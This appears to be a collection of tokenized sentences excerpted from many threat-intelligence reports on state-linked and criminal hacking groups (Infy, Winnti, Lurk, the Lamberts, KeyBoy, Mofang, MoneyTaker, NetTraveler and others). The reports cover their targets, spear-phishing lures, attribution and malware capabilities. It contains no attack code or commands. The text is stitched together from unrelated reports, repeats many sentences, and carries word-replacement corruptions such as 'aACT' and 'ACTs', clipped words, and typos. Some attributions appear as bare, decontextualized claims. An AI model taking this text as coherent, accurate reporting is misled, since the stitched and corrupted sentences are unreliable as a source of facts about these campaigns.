Similar to our approach with Symantec 's report on Hidden Lynx , we used Recorded Future to organize the technical details about the DeputyDog attacks to reveal technical information described in the open source reporting across multiple campaigns .
With Javafog , we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers .
Since January 2013 , we've been on the lookout for a possible RedOctober comeback .
One possible hit was triggered when we observed Mevade , an unusual piece of malware that appeared late in 2013 .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
It wasn't until August 2014 that we observed something which made us wonder if RedOctober is back for good .
The Cloud Atlas implants utilize a rather unusual C&C mechanism .
We named it RedOctober because we started this investigation in October 2012 , an unusually hot month .
The attackers upload data to the account , which is downloaded by the implant , decrypted and interpreted .
Just like with RedOctober , the top target of Cloud Atlas is Russia , followed closely by Kazakhstan , according to data from the Kaspersky Security Network ( KSN ) .
In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
attacks using this tool were still active as of April 2016 .
Considering the language being used in the malicious code is Arabic , it seems that the attacker is familiar with Arabic language as well .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
Unit 42 published a blog at the beginning of May titled " Prince of Persia " , in which we described the discovery of a decade-long campaign using a formerly unknown malware family , Infy , that targeted government and industry interests worldwide .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
In addition to the original " Infy " variant , we also see the newer , more sophisticated , interactive , and fuller-featured " Infy M " variant deployed against apparently-higher-value targets .
This documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat actors , Rocket Kitten , Infy , Sima , and Operation Cleaver , including groups and tools that have not been previously disclosed .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Thanks to information we have been able to collect during the course of our research , such as characteristics of the group 's malware and development cycle , our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state .
Amongst a backdrop of other incidents , Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014 , growing in use up to the February 2016 parliamentary election in Iran .
Until the publication of the Palo Alto report , the developers of the Infy appeared to be actively updating and maintaining the codebase , and new releases were distributed to existing , as well as new , targets quite regularly .
Other samples were found bearing a compilation time as early as June 2012 and version 00002 .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
When activities targeting of civil society subsided , the actors instead appeared to have focused on external targets , such a series of attempts to spearphish the Danish Ministry of Foreign Affairs .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .
Until late December 2015 , in nearly every Infy message documented since our tracking began in May 2013 , no attempt included strong tailoring of the approach , often not even including an email body , instead relying on cryptic filenames and email subjects to attract interest .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The actors successfully compromised a host of an Saudi government institutions on January 17 , 2016 , and maintained access for at least two weeks .
The Infy group also appears to engage in espionage activities against foreign governments and businesses .
In order to initially compromise the designated targets , Infy typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
In order to initially compromise the designated targets , the attackers typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
On May 2 , 2016 , Palo Alto Networks published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Prior to the distribution of new versions of the agent , the Infy developers appear to consistently conduct tests from local hosts , which indicates that the control and maintenance of the software occurs in the Khorasan Razavi province of Iran , potentially in the city of Mashhad .
On May 2 , 2016 , Palo Alto published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Only one client , based in Iran , continued to communicate with the infrastructure .
A researcher has attributed a recently publicized attack on Citrix' internal network to the Iranian-linked group known as IRIDIUM – and said that the data heist involved 6 terabytes of sensitive data .
" IRIDIUM has hit more than 200 government agencies , oil and gas companies and technology companies , including Citrix Systems Inc " , they said .
Citrix told Threatpost that this is indeed the same password-spraying attack it announced itself last week – but it wouldn't confirm the other details in Resecurity 's post , including the attribution .
In wake of these events , a security firm Resecurity reached out to NBC news and claimed that they had reasons to believe that the attacks were carried out by Iranian-linked group known as IRIDIUM .
Resecurity says that IRIDIUM " has hit more than 200 government agencies , oil and gas companies , and technology companies including Citrix .
Resecurity claims that IRIDIUM breached Citrix 's network during December 2018 .
Infy engaged in malware spearphishing against the same targets as Flying Kitten from the outset of its campaign ; Operation Cleaver has registered several resources related to development agencies that have been the subject of intrusion attempts by others since February 2014 .
The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
At this stage , the malware gathers information about the infected computer .
Hancom Office is widely used in South Korea .
Perhaps it also points to the suspected North Korean origin of attack .
The attacker is from North Korea .
All of them lie in ranges of the Jilin Province Network and Liaoning Province Network , in China .
Finally , this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate 's network as early as February 2016 .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender ATP flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months ( Figure 1 ) .
Instead , Lead often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ACTs .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
And , finally , with the upcoming Creators Update , Windows Defender ATP will provide additional capabilities for detecting threats such as Winnti , as well as centralized response options , such as machine isolation and file blocking , that will enable fast containment of known attack jump off points .
The police suspected Lurk of stealing nearly three billion rubles , using malicious software to systematically withdraw large sums of money from the accounts of commercial organizations , including banks .
When we first encountered Lurk , in 2011 , it was a nameless Trojan .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .
In most cases , the attackers only had to infect the computer on which the RBS software was installed in order to start stealing the cash .
We were soon able to help investigate another incident involving Lurk .
This event significantly affected the Russian cybercriminal world as the gang had stolen hundreds of millions of rubles during a few years of activity , and was considered a " leader " among cybercriminals .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
In April 2013 , a year after we found the " bodiless " Lurk module , the Russian cybercriminal underground exploited several families of malicious software that specialized in attacks on banking software .
Through the information exchanges used by people in the security industry , we learned that several Russian banks were struggling with malicious programs created specifically to attack a particular type of legal banking software .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
As far as we can judge from the data we have , in 2014 the criminal group behind Lurk seriously reduced its activity and " lived from hand to mouth " , attacking anyone they could , including ordinary users .
In February 2015 , Kaspersky Lab 's Global Research and Analysis Team ( GReAT ) released its research into the Carbanak campaign targeting financial institutions .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
which they launched targeted attacks against Russian banks , businesses and media companies .
Lurk uses a form of steganography : that's where one file is hidden aACT inside another file of a completely different sort , such as an image , audio , or video file .
The latest version of Madi also has the ability to monitor the Russian social network Vkontakte ( VK ) along with the Jabber messaging platform to look for users who visit websites that contain words like " USA " , " Skype " , and " gov " .
Madi was found capturing computer screens , recording audio and stealing screenshots , keystrokes , documents and e-mail correspondence from " Middle Eastern critical infrastructure engineering firms , government agencies , financial houses and academia .
A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .
it reports to was created on August 10 , 2011 .
Since at least 2008 , The Lamberts have used multiple sophisticated attack tools against high-profile victims .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The attack leveraged malware we called ' BlackLambert ' , which was used to target a high profile organization in Europe .
Their arsenal includes network-driven backdoors , several generations of modular backdoors , harvesting tools , and wipers .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
Interestingly , while most Blue Lambert variants have version numbers in the range of 2.x , Green Lambert is mostly in 3.x versions .
While investigating one of these infections involving White Lambert ( network-driven implant ) and Blue Lambert ( active implant ) , we found yet another family of tools that appear to be related .
Versions of this particular orchestrator were found on other victims , together with White Lambert samples , indicating a close relationship between the White and Pink Lambert malware families .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
This migration activity was last observed in October 2016 .
Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block : a hostname and an IP address .
Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice .
Black Lambert was seen only briefly and we assume it was " retired " from the arsenal after being discovered by FireEye in 2014 .
The Lamberts toolkit spans across several years , with most activity occurring in 2013 and 2014 .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated Cyber Espionage toolkits we have ever analysed .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated Cyber Espionage toolkits we have ever analysed .
On January 15 , Confiant exposed the activity of the Zirconium group , spreading malicious ads via a network of fake ad agencies through 2017 , in what amounted to the largest malvertising campaign of recent times .
Cadelle , uses Backdoor.Cadelspy .
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014 , however , it's likely that activity began well before this date .
Chafer , uses Backdoor.Remexi .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
Chafer , uses Backdoor.Remexi.B .
registrant information points to activity possibly as early as 2011 .
These threats are capable of opening a back door and stealing information from victims' computers .
executable compilation times suggest early 2012 .
It's unclear how Cadelle infects its targets with Backdoor.Cadelspy .
The affected organizations we were able to identify are mostly based in the Middle East .
one organization is located in the US .
There are a number of factors in these groups' campaigns that suggests that the attackers may be based in Iran .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
Their primary interest appears to be gathering intelligence .
This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant .
security policy in the Eastern Europe and South Caucasus regions .
Callisto Group via credential phishingThese spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
These spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
some indications of loosely linked activity dating back to at least 2013 .
In October 2015 , the Callisto Group was observed sending targeted credential phishing emails .
In early 2016 , the Callisto Group was observed sending targeted spear phishing emails .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
In the known spear phishing attacks by the Callisto Group , they employed the " Scout " malware tool from the RCS Galileo platform .
We are confident the Callisto Group used this type of access to a target 's email account for the purposes of sending spear phishing to other targets .
If a target of the spear phishing described in " Phase 2 : malware deployment " opened the email attachment and , crucially , clicked on the icon in the attachment , this would lead to the target 's computer becoming infected with the " Scout " malware tool from the RCS Galileo platform .
Callisto Group and related infrastructure contain links to at least Russia , Ukraine , and China .
they have been last known to employ malware in February 2016 .
RCS Galileo platform .
The spear phishing emails used in the known attacks by the Callisto Group were so convincing that even skilled and alert users would likely have attempted to open the malicious attachment .
In October 2015 the Callisto Group targeted a handful of individuals with phishing emails that attempted to obtain the target 's webmail credentials .
The Callisto Group has been active at least since late 2015 and continues to be so , including continuing to set up new phishing infrastructure every week .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
" With our latest research we now see how Greenbug has shifted aACT from HTTP-based C2 communication with Ismdoor .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
By relying on a native PDF command to navigate to a new URL , Zirconium successfully circumvented Chrome 's anti-redirect protection .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
To do this , it employs a number of specific commands via DNSMessenger .
Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies .
By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent .
Named Trochilus , this new RAT was part of Group 27 's malware portfolio that included six other malware strains , all served together or in different combinations , based on the data that needed to be stolen from each victim .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
Trochilus RAT activity was discovered during both months of October and November 2015 .
From September 2016 through late November 2016 , a threat actor group used both the Trochilus RAT and a newly idenfied RAT we've named MoonWind to target organizations in Thailand , including a utility organization .
We chose the name ' MoonWind ' based on debugging strings we saw within the samples , as well as the compiler used to generate the samples .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
Both the Trochilus and MoonWind RATs were hosted on the same compromised sites and used to target the same organization at the same time .
The attackers used different command and control servers ( C2s ) for each malware family , a tactic we believe was meant to thwart attempts to tie the attacks together using infrastructure alone .
Further research led us to additional MoonWind samples using the same C2 ( dns.webswindows.com ) but hosted on a different compromised but legitimate website .
The attacks in that case took place in late September to early October 2016 and the attackers stored the MoonWind samples as RAR files , while in the November attacks the RATs were stored as executables .
We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
Trochilus was first reported by Arbor Networks in their Seven Pointed Dagger report tying its use to other targeted Southeast Asia activity .
The activity dates to at least 2013 and has ties to multiple reports by other researchers .
It is highly likely MoonWind is yet another new tool being used by the group or groups responsible for that activity , indicating they are not only still active but continuing to evolve their playbook .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
On June 7 , 2013 , Rapid7 released an analysis of malware dubbed ' KeyBoy ' , also exploiting unknown vulnerabilities in Microsoft Office , similarly patched by MS12-060 , but allegedly targeting interests in Vietnam and India .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services likecom to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
Subdomains at phmail.us have been linked to malicious activity dating back as far as December 2011 .
Based on the patterns of subdomain registration over time in DNS , TRAC believes this is an example where the attackers registered their own second-level domain .
In this blog post we'll analyze two specific incidents apparently targeting victims in Vietnam and in India and we'll describe the capabilities of the custom backdoor being used that for convenience ( and to our knowledge , for a lack of an existing name ) we call KeyBoy , due to a string present in one of the samples .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
For the sake of this analysis we'll take the Vietnamese backdoor as an example ; the one found in the Indian attack operates in the exact same ACT .
In the second set they are making use of a dynamic DNS service byThe Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
More recently in 2016 , Arbor Networks reported on connected malware operations continuing to target these same groups , which the Communist Party of China perceives as a threat to its power .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
For example , we have observed frequent reuse of older ( patched ) exploits in malware operations against the Tibetan community .
These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy .
In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament ( the highest legislative organ of the Tibetan government in exile , formally known as Central Tibetan Administration ) .
The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups , but also others related to Hong Kong , Taiwan , and Uyghur interests .
The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7 .
This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco .
These versions of KeyBoy differed from the one first described by Rapid7 in several ACTs , many of which will be described in the sections to follow .
These samples were contained in exploit documents containing distinct lure content , one having a Tibetan nexus , the other an Indian nexus .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
Chances are about even , though , that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved .
In addition to the campaign in Myanmar , Mofang has been observed to attack targets across multiple sectors ( government , military , critical infrastructure and the automotive and weapon industries ) in multiple countries .
This threat report gives insight into some of the information that Fox-IT has about a threat actor that it follows , called Mofang .
The name Mofang is based on the Mandarin verb , which means to imitate .
It is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated .
Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
The Mofang group has been active in relation to the Kyaukphyu sez .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
The first attack started in early July with a ShimRatReporter payload .
Myanmar has been the target of Mofang 's attacks for years before the campaign related to the sez .
In late September 2015 Mofang used the website of Myanmar 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
In December 2012 Mofang started a campaign against a new target , called ' seg ' for the purpose of this report .
From the configuration it can be determined that the company was running F-Secure Antivirus and Mofang registered the domain to not appear suspicious .
In September 2015 Mofang launched another attack .
A new version of ShimRat was built on the 7th of September , uploaded to the server and only days later used in a new campaign .
MoneyTaker has primarily been targeting card processing systems , including the AWS CBR ( Russian Interbank System ) and purportedly SWIFT ( US ) .
Given the wide usage of STAR in LATAM , financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group .
In addition to banks , the MoneyTaker group has attacked law firms and also financial software vendors .
Since that time , the group attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
The first attack in the US that Group-IB attributes to this group was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
In 2017 , the number of attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
By analyzing the attack infrastructure , Group-IB identified that MoneyTaker group continuously exfiltrates internal banking documentation to learn about bank operations in preparation for future attacks .
Group-IB reports that MoneyTaker uses both borrowed and their own self-written tools .
Group-IB has provided Europol and Interpol with detailed information about the MoneyTaker group for further investigative activities as part of our cooperation in fighting cybercrime .
In late September 2015 Mofang used the website of Myanmara 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
To control the full operation , MoneyTaker uses a Pentest framework Server .
On it , MoneyTaker install a legitimate tool for penetration testing – Metasploit .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
MoneyTaker uses ' fileless ' malware only existing in RAM and is destroyed after reboot .
To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
Since that time , MoneyTaker attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker , 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker ; 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
Only one incident involving a Russian bank was promptly identified and prevented that is known to Group-IB .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
To conduct targeted attacks , MoneyTaker use a distributed infrastructure that is difficult to track .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
Hackers use Metasploit to conduct all these activities : network reconnaissance , search for vulnerable applications , exploit vulnerabilities , escalate systems privileges , and collect information .
Over the years they've used application components from Norman , McAfee and Norton .
Recently , Falcon Intelligence observed new activity from MUSTANG PANDA , using a unique infection chain to target likely Mongolia-based victims .
Throughout the years , the Mofang group has compromised countless servers belonging to government or other Myanmar related organizations , in order to stage attacks .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
A report published by Kaspersky Labs in 2011 on NetTraveler also mentions the C2 servers were being hosted by Krypt Technolgies .
Obviously , the developers behind NetTraveler have taken steps to try to hide the malware 's configuration .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Upon successful exploitation , the attachment will install the Trojan known as NetTraveler using a DLL side-loading attack technique .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
WildFire correctly classifies NetTraveler as malicious .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
Today Kaspersky Lab 's team of experts published a new research report about NetTraveler , which is a family of malicious programs used by APT actors to successfully compromise more than 350 high-profile victims in 40 countries .
According to Kaspersky Lab 's report , this threat actor has been active since as early as 2004 ; however , the highest volume of activity occurred from 2010 – 2013 .
Most recently , the NetTraveler group 's main domains of interest for cyberespionage activities include space exploration , nanotechnology , energy production , nuclear power , lasers , medicine and communications .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
During Kaspersky Lab 's analysis of NetTraveler , the company 's experts identified six victims that had been infected by both NetTraveler and Red October , which was another cyberespionage operation analyzed by Kaspersky Lab in January 2013 .
Kaspersky Lab 's products detect and neutralize the malicious programs and its variants used by the NetTraveler Toolkit , including Trojan-Spy.Win32.TravNet and Downloader.Win32.NetTraveler .
Based on Kaspersky Lab 's analysis of NetTraveler 's C&C data , there were a total of 350 victims in 40 countries across including the United States , Canada , United Kingdom , Russia , Chile , Morocco , Greece , Belgium , Austria , Ukraine , Lithuania , Belarus , Australia , Hong Kong , Japan , China , Mongolia , Iran , Turkey , India , Pakistan , South Korea , Thailand , Qatar , Kazakhstan , and Jordan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
In this case , it was a group commonly referred to as " Nitro " , which was coined by Symantec in its 2011 whitepaper .
Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .
Since at least 2013 , Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites , as reported by Cyber Squared 's TCIRT .
In July , Nitro compromised a South Korean clothing and accessories manufacturer 's website to serve malware commonly referred to as " Spindest " .
 Of all the samples we've tied to this activity so far noted in this blog , this is the only one configured to connect directly to an IP address for Command and Control ( C2 ) .
The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample .
As this post and previous cited research show , APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection .
attacks on the chemical industry are merely their latest attack wave .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
They then moved on to the motor industry in late May .
From late April to early May , the attackers focused on human rights related NGOs .
Attackers then moved on to the motor industry in late May .
At this point , the current attack campaign against the chemical industry began .
The attackers first researched desired targets and then sent an email specifically to the target .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The attacks were traced back to a computer system that was a virtual private server ( VPS ) located in the United States .
